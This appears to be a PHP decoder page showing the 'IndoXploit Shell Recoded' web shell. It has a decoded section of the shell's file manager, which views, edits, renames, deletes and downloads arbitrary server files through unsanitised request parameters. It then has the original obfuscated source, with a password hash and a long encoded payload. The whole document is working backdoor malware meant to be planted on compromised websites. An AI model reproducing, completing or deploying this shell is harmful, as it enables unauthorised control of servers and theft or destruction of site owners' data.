echo "Filename: <font color=blue>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
} elseif($_GET['act'] == 'edit') {
if($_POST['save']) {
$save = file_put_contents($_GET['file'], $_POST['src']);
if($save) {
$act = "<font color=blue>Saved!</font>";
} else {
$act = "<font color=red>permission denied</font>";
}
echo "".$act."<br>";
}
echo "Filename: <font color=blue>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
echo "<form method='post'>
<textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
<input type='submit' value='Save' name='save' style='width: 500px;'>
</form>";
} elseif($_GET['act'] == 'rename') {
if($_POST['do_rename']) {
$rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
if($rename) {
$act = "<script>window.location='?dir=".$dir."';</script>";
} else {
$act = "<font color=red>permission denied</font>";
}
echo "".$act."<br>";
}
echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
echo "<form method='post'>
<input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
<input type='submit' name='do_rename' value='rename'>
</form>";
} elseif($_GET['act'] == 'delete') {
$delete = unlink($_GET['file']);
if($delete) {
$act = "<script>window.location='?dir=".$dir."';</script>";
} else {
$act = "<font color=red>permission denied</font>";
}
echo $act;
} elseif(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
@ob_clean();
$file = $_GET['file'];
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
} else {
if(is_dir($dir) == true) {
echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>
<th class="th_home"><center><J3MB0D404>Name</J3MB0D404></center></th>
<th class="th_home"><center><J3MB0D404>Type</J3MB0D404></center></th>
<th class="th_home"><center><J3MB0D404>Size</J3MB0D404></center></th>
<th class="th_home"><center><J3MB0D404>Last Modified</J3MB0D404></center></th>
<th class="th_home"><center><J3MB0D404>Permission</font></center></th>
<th class="th_home"><center><J3MB0D404>Action</J3MB0D404></center></th>
</tr>';
$scandir = scandir($dir);
foreach($scandir as $dirx) {
$dtype = filetype("$dir/$dirx");
$dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
if(!is_dir("$dir/$dirx")) continue;
if($dirx === '..') {
$href = "<a href='?dir=".dirname($dir)."'><J3MB0D404>$dirx</J3MB0D404></a>";
} elseif($dirx === '.') {
$href = "<a href='?dir=$dir'><J3MB0D404>$dirx</J3MB0D404></a>";
} else {
$href = "<a href='?dir=$dir/$dirx'><J3MB0D404>$dirx</J3MB0D404></a>";
}
if($dirx === '.' || $dirx === '..') {
$act_dir = "<a href='?act=newfile&dir=$dir'><J3MB0D404>newfile</J3MB0D404></a><font color=red> | </font><a href='?act=newfolder&dir=$dir'><J3MB0D404>newfolder</J3MB0D404></a>";
} else {
$act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'><J3MB0D404>rename</J3MB0D404></a><font color=red> | </font><a href='?act=delete_dir&dir=$dir/$dirx'><J3MB0D404>delete</J3MB0D404></a>";
}
echo "<tr>";
echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
echo "<td class='td_home'><center><J3MB0D404>$dtype</J3MB0D404></center></td>";
echo "<td class='td_home'><center><J3MB0D404>-</J3MB0D404></center></th>";
echo "<td class='td_home'><center><J3MB0D404>$dtime</J3MB0D404></center></td>";
echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
echo "<td class='td_home' style='padding-left: 15px;'><J3MB0D404>$act_dir</J3MB0D404></td>";
}
echo "</tr>";
foreach($scandir as $file) {
$ftype = filetype("$dir/$file");
$ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
$size = filesize("$dir/$file")/1024;
$size = round($size,3);
if($size > 1024) {
$size = round($size/1024,2). 'MB';
} else {
$size = $size. 'KB';
}
if(!is_file("$dir/$file")) continue;
echo "<tr>";
echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'><J3MB0D404>$file</J3MB0D404></a></td>";
echo "<td class='td_home'><center><J3MB0D404>$ftype</J3MB0D404></center></td>";
echo "<td class='td_home'><center><J3MB0D404>$size</J3MB0D404></center></td>";
echo "<td class='td_home'><center><J3MB0D404>$ftime</J3MB0D404></center></td>";
echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'><J3MB0D404>edit</J3MB0D404></a><font color=red> | </font><a href='?act=rename&dir=$dir&file=$dir/$file'><J3MB0D404>rename</J3MB0D404></a><font color=red> | </font><a href='?act=delete&dir=$dir&file=$dir/$file'><J3MB0D404>delete</J3MB0D404></a><font color=red> | </font><a href='?act=download&dir=$dir&file=$dir/$file'><J3MB0D404>download</J3MB0D404></a></td>";
}
echo "</tr></table><hr>";
} else {
echo "<font color=red>can't open directory</font>";
}
echo "<center>Copyright © ".date("Y")." - <a href='http://forum.indoxploit.or.id/' target='_blank'><font color=lime>IndoXploit</font></a> Shell Recoded By <a href='http://fb.com/jembudparanoit' target='_BLANK'><font color=lime>Rinto AR</a></font></center></html>";}
Did this file decode correctly?
Original Code
<?php
//#################################
//##asw ##
//##asw ##
//##asw ##
//#################################
$auth_pass = "cb5a9e2c0289e5851605eb9fde989f10";
$J3MB0D404 = "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